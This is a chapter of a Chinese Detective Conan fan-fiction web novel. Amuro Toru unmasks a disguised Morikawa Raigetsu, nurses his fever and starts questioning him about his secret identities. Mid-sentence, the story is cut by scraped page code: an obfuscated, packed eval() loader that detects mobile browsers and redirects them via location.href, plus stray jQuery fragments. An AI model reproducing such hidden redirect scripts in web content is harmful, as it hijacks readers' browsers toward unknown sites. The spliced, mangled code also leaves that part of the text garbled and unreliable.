今天我有猫了吗 作品

71.第 71 章

    安室透淡淡道:“你回来了。”


    森川来月瞪大眼睛,身体比思考还快,立刻就想逃跑!


    安室透淡声说:“想去哪。”


    男人的声音太过冷淡,像是极北的寒风,森川来月脚下僵住,语气中蕴含的冷意吓得他不敢动弹。


    黑风衣背对安室透原地站着。


    安室透走到这人跟前。


    森川来月眼皮敛下,害怕安室透揍自己,只敢盯着自己的脚尖,根本不敢看人。


    降谷先生为什么会在这?


    降谷先生都看到了什么?


    自己暴露了吗?


    他现在该干什么?


    大脑塞满纷乱的猜测,森川来月不知道自己到底有没有在思考,也没注意自己到底还记不记得呼吸。


    被发现的惶恐铺天盖地,森川来月手心全都是汗,咬紧牙关,脸色煞白,干脆不管不顾地闭上眼,破罐子破摔了。


    就像走投无路的羔羊,在重重陷阱中等待猎人的宰割。


    明明森川来月现在还贴着伪装的易容,表情却十分可怜。


    他才中了组织的药没多久,药效没过又强行突破身体极限,低烧持续,一直没有断过,整个人清减不少。


    早上遛狗时森川来月穿得厚,安室透没看出来,现在见他穿着件贴身的黑风衣,背脊的蝴蝶骨瘦得仿佛要凸出来。


    安室透轻轻握住森川来月肩膀,感觉掌下支棱的肩骨仿佛只隔着层薄薄的肌肤,一点肉都没有。


    森川来月微不可察抖了一下。


    他害怕的对象是自己——安室透意识到这点,心里像是打翻了五味瓶,胸腔绵密阵阵刺痛。


    可是安室透不得不继续下去。


    森川来月闭着眼,所有感官都放在男人手上。


    安室透伸手往森川来月耳后探,摸到了他贴在耳背的易容胶边缘。


    “撕拉——”


    森川来月浑身一抖,易容被撕开,面具下是安室透最熟悉的面容。


    森川来月脸色惨白,纤长的睫毛微微发颤,根本不敢抬头。


    安室透声音喑哑,低声说:“你想去哪。”


    森川来月摇摇头。


    安室透轻声再问:“你还想去哪?”


    “……我。”森川来月结巴了一声,舌头像是打了结,只能又摇摇头。


    他也不知道自己要去哪,还能去哪。


    身份暴露之后,仿佛哪里都没有他的藏身之处。


    降谷先生的声音太温柔,让森川来月忍不住想跟降谷先生埋怨,想说他也不知道,他也很迷茫,可是他不敢,只能绝望地等待审判。


    安室透低头凑近了看森川来月。


    青年睫毛湿润,敛着的眼睑包着泡泪,眼尾红通通的,泪珠要掉不掉,却一点声也没有。


    似乎所有的委屈都不会向人展露,所有的呜咽都被他吞进肚子里,默默的,谁也不会发现。


    安室透眼底爬上一丝无措,心中说不出的酸涩。


    他应该是愤怒的,是被欺骗的,可此时此刻却什么责备的话也说不出口,如鲠在喉。


    那个笑起来很好看的阿遥,那个仿佛无所不能的特基拉,那个沉默却一直陪伴他的面具先生,仿佛镜花水月,在这一瞬间全部化为灰烬。


    明明是安室透揭穿了森川来月的身份,看似是他独自赢了,但受伤的却好像是两个人。


    轻轻抹掉森川来月的眼泪,安室透拉起他往外走。


    森川来月惊愕,踉跄一步跟上。


    安室透打开盥洗室的灯,森川来月傻站在旁边,看着安室透用热水绞了条毛巾。


    “擦擦,洗把脸。”安室透递毛巾给森川来月,“易容的胶还粘着,不难受吗?”


    “噢……”森川来月呆愣着接过毛巾,机械地洗完了。


    “美瞳。”安室透又说,“把美瞳也摘了。”


    “噢噢……”


    森川来月大脑一片浆糊,让干什么就干什么,一个指令一个动作,去摘隐形眼镜。


    可安室透在看,森川来月有点紧张,手不听使唤,眼睛戳红了还没摘下来。


    “我来吧。”安室透看不下去,按住森川来月胡乱戳戳的手。


    安室透在抽屉里找出取戴器清洁干净,看起来是要亲自动手帮忙。


    森川来月紧张地闭上眼。


    他一副视死如归的样子,安室透叹气,十分无奈:“你闭着眼睛,我怎么摘?”


    “能不能……”森川来月睁开一咪咪眼,小心翼翼试探,“要不还是别摘了?”


    “不行。”安室透抬起他的下巴,“睁眼。”


    哦。


    森川来月像颗泄了气的皮球,仿佛案板上的鱼任人宰割,放弃地将眼睛睁得有铜铃大。


    安室透又好气又好笑,嘴角扯了扯,勉强压住那点弧度,赶紧把美瞳取下来。


    失去伪装遮挡的瞳孔,果然是记忆深刻的那份蓝意。


    安室透扶着人下巴不放,沉着脸不说话。


    森川来月忐忑不安,悄悄观察。


    情绪不是生气的红色,反而是琢磨不透的幽蓝。


    好嘛,森川来月彻底搞不懂这是想干什么了。


    安室透将森川来月带出盥洗室,森川来月亦步亦趋,被安室透按在床边脱了鞋,然后塞进被子里。


    森川来月手把着被子边边,迷迷糊糊。


    现在这是什么情况?


    煨熟了杀掉?


    安室透探着森川来月的体温,烧没有退,反而更烫了。


    微凉的手按在滚烫的额头上,森川来月舒服地打了个激灵。


    安室透坐在床边,神色淡淡:“赶紧休息,什么也不要想,哪里也不许去。”


    这是暂时放过他的意思咯?


    森川来月点头如捣蒜,大半脑袋塞进被子里。


    安室透紧跟着来一句:“其他事情等醒来再说。”


    好吧,森川来月沮丧巴拉的,看来真的是煨熟了再杀。


    身边有人看着自己睡觉,本来应该精神紧张才对,然而森川来月身体太疲惫,一沾到床四肢像是灌了铅,先前勉强忍耐的不适慢慢由内至外爆发,眼皮重得抬不起来,恹恹地打哈欠。


    他面子里子的身份全被安室透扒光了,重担一经卸下,反而有种诡异的安全感,开始昏昏欲睡。


    掌下肌肤滚烫,安室透蹙眉,担忧地看着床上的人。


    森川来月腮帮子上是两团不健康的红晕,呼吸沉沉,眉头难受地皱成一团,即使快要睡着了,睫毛还在不安地抖。


    这两天一直没有休息好,森川来月眼底下有一轮浓重的青影,在苍白的面容上特别刺眼。


    安室透既生气又心疼,想骂森川来月不把身体当一回事,又不敢太大动作将人吵醒,最后只能将话吞回肚子里。


    安室透耐心坐了一会,床上的人逐渐呼吸均匀,慢慢进入深眠。


    厨房冰箱没有吃的,森川来月在便利店买的便当打包好了放在地上,安室透解开袋子看,根本没吃几口。


    垃圾桶里扔了个透明的食品密封袋,应该是营养液。


    他平时就吃这个?


    安室透脸色顿时很难看。


    森川来月还没醒,安室透再摸他的体温,他也没反应。


    确定人睡得很熟,安室透立刻锁好门开车出去,没一会就急匆匆赶回来。


    开门一眼看见森川来月还在睡,安室透悬着的心才放回去。


    实在是怕了这个人,再跑真的不知道要往哪里找。


    被子裹得很紧,森川来月发了一身汗,手脚被箍住睡得不舒服,一脚将被子踢到床脚,冷风吹在汗湿的衣服上,顿时又冻得缩成一只虾米。


    安室透算知道森川来月是怎么发烧的了。


    摸了把滚烫的额头,安室透将买的退热贴撕了,给森川来月贴上,又在衣柜找了件睡衣,给他脱掉汗湿的衣服,再拿毛巾擦汗。


    怀里的人轻飘飘,明明距离温泉旅行没过去多长


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128128|161245||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    时间,但却比那时还要瘦。


    肉都不知道长哪去了。


    安室透没心情想有的没的,心无旁骛,规规矩矩给人换衣服,完了再塞进被子里,把边边角角压实。


    又箍住手脚,不舒服,青年哼哼唧唧,还想踢被子。


    “不许踢。”安室透压住被角,伏低身轻声道。


    森川来月似有所觉,瘪瘪嘴,委委屈屈继续睡了。


    胡萝卜从换下的衣服中滚了出来,它看上去也热得不行,面具颜表情都在滴汗。


    胡萝卜:>.<>


    安室透在铁皮屋群见过胡萝卜,现在再看也觉得很神奇。


    看来这神秘生物确实有自我意识,和研究所癫狂的样子相比简直判若两果冻。


    胡萝卜知道安室透在打量它,但它没感知到面前的人有恶意,也知道这人粉粉主人,索性懒得理会,掉出来之后该干嘛干嘛。


    它爬上森川来月的额头,趴在退热贴上给主人物理降温。


    果冻趴着不动了,安室透见有它守着,起身离开。


    虽然皮被扒光,但也许有安室透这个潜意识安全的存在,森川来月难得久违地睡了顿安稳觉。


    迷迷糊糊睁眼时,空气中漫着股浓浓的米香,森川来月闻着闻着,胃后知后觉发出抗议的声音。


    他恹恹地躺在床上,好饿。


    安室透:“醒了?”


    森川来月懵懂看着安室透,以为自己在做梦。


    降谷先生怎么在自己家?


    森川来月一脸傻乎乎的表情,安室透无奈摸他额头,总算不那么烫了。


    安室透将人扶起来,在背后塞了个软乎乎的靠背。


    “醒了就起来吃点东西。”


    森川来月后知后觉,忽然清醒——


    妈耶!


    他被扒皮了!


    而且还被扒得渣渣都不剩!


    怎么办怎么办怎么办!


    森川来月正疯狂头脑风暴,安室透从厨房端了个托盘出来。


    不知道煮的是什么,闻起来香喷喷的,森川来月的胃惊天动地咕了一声!


    森川来月窘死,恨不得将头埋进被子里。


    “味道可能比不上樽雅亭那么好吃。”安室透试了下温度,然后装上满满一碗,“先将就一下。”


    森川来月接过碗,小小声说了句谢谢,很老实地扒粥。


    安室透给煮的是滑蛋粥,蛋花鲜甜,米粒饱满,入口绵软丝滑,温度刚刚好。


    樽雅亭是什么森川来月不知道,他只知道这是他吃过最好吃的滑蛋粥。


    森川来月饿急了,一连干了两碗,安室透怕他胃空了太久,忽然暴食不舒服,差不多就不给吃了。


    森川来月失望地咂咂嘴,意犹未尽,巴巴看着安室透收碗。


    安室透准备了感冒药,森川来月捧着杯子喝水,也乖乖吃了。


    猪长肥了要宰,人吃饱了就要秋后算账。


    果然,安室透将东西一放,抱手坐床边凳子上。


    森川来月暗道不妙。


    安室透:“面具先生?”


    森川来月默默,点头。


    安室透紧接:“特基拉?”


    森川来月垂头丧气,点头。


    安室透咬牙,最后说:“森川来月?”


    救救救……救命!


    降谷先生到底怎么知道的?


    森川来月头都快要耷拉到胸口,闭眼点头。


    安室透瞧他无精打采的样子,叹气道:“知道我是谁吗?”


    森川来月只能点头,颓丧地说:“波本,安室透,降谷先生。”


    先生。安室透挑挑眉。


    然而安室透没打算这么轻易放过他。


    安室透说什么森川来月都点头,他说的桩桩件件基本都正中红心,森川来月底子被敞开来细数,点头点得生无可恋。


    安室透数得差不多了,实在没脾气:“那昨晚呢?昨晚为什么装成卡尔瓦多斯的样子?”